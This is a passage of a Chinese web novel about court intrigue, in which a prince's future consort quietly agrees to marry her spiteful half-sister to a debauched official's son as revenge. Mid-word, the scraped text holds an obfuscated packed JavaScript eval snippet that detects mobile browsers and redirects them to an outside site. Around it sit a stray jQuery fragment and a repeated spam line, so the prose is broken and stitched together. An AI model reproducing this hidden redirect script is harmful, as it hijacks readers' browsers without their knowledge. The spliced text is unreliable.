听了吴嬷嬷的话程锦瑟心头一滞。
殿下自会替姑娘做主。
这短短一句话分量却重如千钧。
这既是辰王给予的承诺也是一道极其微妙的考题。
她该如何回答?
程锦瑟的脑子在这一瞬间飞速运转。
辰王府的消息如此灵通连她受伤后无人问津这种府内秘辛都一清二楚那么昨天程锦婉那些对辰王大不敬的疯言疯语以及父亲程士廉的和稀泥态度他必然也了如指掌。
既然他什么都知道又何必多此一问?
这显然是在试探她。试探她的心性、格局以及她是否能成为一个合格的辰王妃。
程锦瑟对辰王萧云湛本人并不熟悉。
前世今生所有关于他的印象都来自于外界的传闻。
传闻里辰王自出生起就体弱多病常年与汤药为伴。
可与他病弱身体截然相反的是他那锋芒毕露的才华与冷硬如铁的手段。
据说他十三岁时便能与大儒论经与权臣议事常常一言就能点破症结令满朝文武为之侧目。
当今圣上对诸位皇子虽都算疼爱但对这个病弱的儿子却有着近乎偏执的宠溺。
若非辰王近几年身体每况愈下几乎到了卧病在榻的地步那东宫太子之位恐怕还轮不到如今那位以温润仁厚著称的兄长。
如果说太子如春风和煦待人;辰王就如冬雪
他的那双眼睛像是深不见底的寒潭看人一眼便能让对方从心底里生出畏惧。
这样一个心思深沉、手段凌厉的男人他会想听到一个怎样的答案?
若她此时哭哭啼啼诉说父亲和继母的不是要求辰王严惩他们固然能出一时之气但传出去她便会背上一个“不孝”的罪名。
为了自己的委屈将整个家族拖下水甚至让未来的夫君插手娘家内事落人口实这绝非明智之举。
可若她表现得宽宏大量说自己毫无怨言甘愿忍气吞声那也绝不可行。
这不仅不符合人之常情更显得虚伪做作。
一个被如此欺辱还能毫无怨怼的人要么是城府深到可怕要么就是个没有底线的软包子。
这两种形象显然都不是辰王欣赏的。
心思电转间程锦瑟已经有了答案。
她抬起眼帘眸子里迅速蓄起一层薄薄的水雾带着几分委屈又带着几分倔强。
“嬷嬷”她轻声
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
开口声音微微颤抖“锦瑟受些委屈不要紧。女儿家终究是要嫁人的在娘家时日无多。只是……”
她恰到好处地停顿了一下眼中的水光晃了晃不无忧虑地道:“只是锦婉妹妹年纪还小说话不知轻重言语间竟对殿下多有冒犯臣女……臣女实在替她惶恐不安也为殿下的清誉担忧。”
她没有提自己的伤
“依礼她冲撞未来姐夫理应受罚。但……这毕竟是程家的家事若是为此大张旗鼓地惩处恐怕会引来外人非议殿下还未大婚便插手朝臣家事于殿下的清誉有损。臣女身份尴尬心中焦急却实在不知该如何是好。”
这一番话说得滴水不漏既表明了自己并非任人拿捏的软柿子又处处以辰王的声誉为先将自己的委屈轻轻揭过显得顾全大局识得大体。
吴嬷嬷看着程锦瑟眼神中满是赞赏。
能在自己蒙受冤屈的情况下还能如此条理清晰言辞谨慎不仅撇清了自己还抬高了殿下这份心性与手段哪里是寻常闺阁女子能有的?
“姑娘的心意老身明白了。”吴嬷嬷神色变得温和“姑娘处处为殿下着想殿下若是知道了定会十分欣慰。”
她轻哼一声笑着道:“其实这事并不难办。想给程二姑娘一个教训让她一辈子都记住什么话该说什么话不该说并不需要动用什么刑罚。”
“吏部尚书赵公的次子赵允延今年已经二十有二正四处寻觅合适的亲事。前些日子赵夫人还曾入宫求到贵妃娘娘面前希望能为他寻一门好亲。”
程锦瑟抬眼看向吴嬷嬷。
吴嬷嬷笑着继续道:“老身瞧着锦婉姑娘容貌出挑性子也算活泼配赵公子倒是正合适。若是能与姑娘您同日出阁一门双喜于程府而言也是一桩天大的体面。”
赵允延!
吏部尚书赵祯的嫡次子京城里无人不知的纨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913650|192479||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绔子弟。
此人好赌成性曾为还清巨额赌债被人在大街上追着打颜面尽失。
更好色荒唐眠花宿柳是家常便饭甚至闹出过强抢民女的官司最后还是靠着家里的权势才勉强压下。
更令人不齿的是他还喜好男风是京中几家南风馆的常客行事毫无底线。
正因如此尽管他出身高门父兄皆身居要职京中却无任何一家稍有体面的人家愿意将女儿嫁给他。
把程锦婉嫁给赵允延
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
?
这哪里是做媒,这分明是想把她推入火坑,让她一辈子都不得翻身!
程锦瑟眼底闪过一抹冷意。
以程锦婉那骄纵任性、自视甚高的性子,若真嫁给赵允允那个混账东西,不出几年,只怕就要被折磨得不成人形。
但这个结局,比起前世自己所遭受的背叛与惨死,又算得了什么?
这真是……
再好不过的报应了。
程锦瑟对着吴嬷嬷端端正正地行了一个万福礼,神色恭顺,语气诚恳。
“嬷嬷实在是抬举锦婉了。她若能得尚书府青眼,是她的福气。锦瑟在此,替妹妹谢过嬷嬷的美意。”
她这一礼,便是答应了。
吴嬷嬷脸上露出满意的微笑:“姑娘快快请起。既然姑娘没有异议,那这桩‘美事’,老奴便托人去安排了。”
她又扶着程锦瑟坐下,温言道:“这几日,姑娘只管在院中安心静养,外头的事一概不用理会。至于姑娘的大婚,礼部那边早已在准备,待吉日一到,自会送来吉服与聘册,一切都有殿下为您操持。”
这番话,既是安抚,也是一种无形的承诺。
程锦瑟低眉顺眼地应下:“一切都听嬷嬷安排。”
吴嬷嬷又关切地嘱咐了几句养伤的注意事项,这才起身告辞。
程锦瑟亲自将她送到院门口,看着她那挺直的背影在下人的簇拥下渐渐远去,才转身回到屋里,轻轻合上了门。
屋门关闭的瞬间,她脸上那温顺恭敬的笑容,便彻底消失了。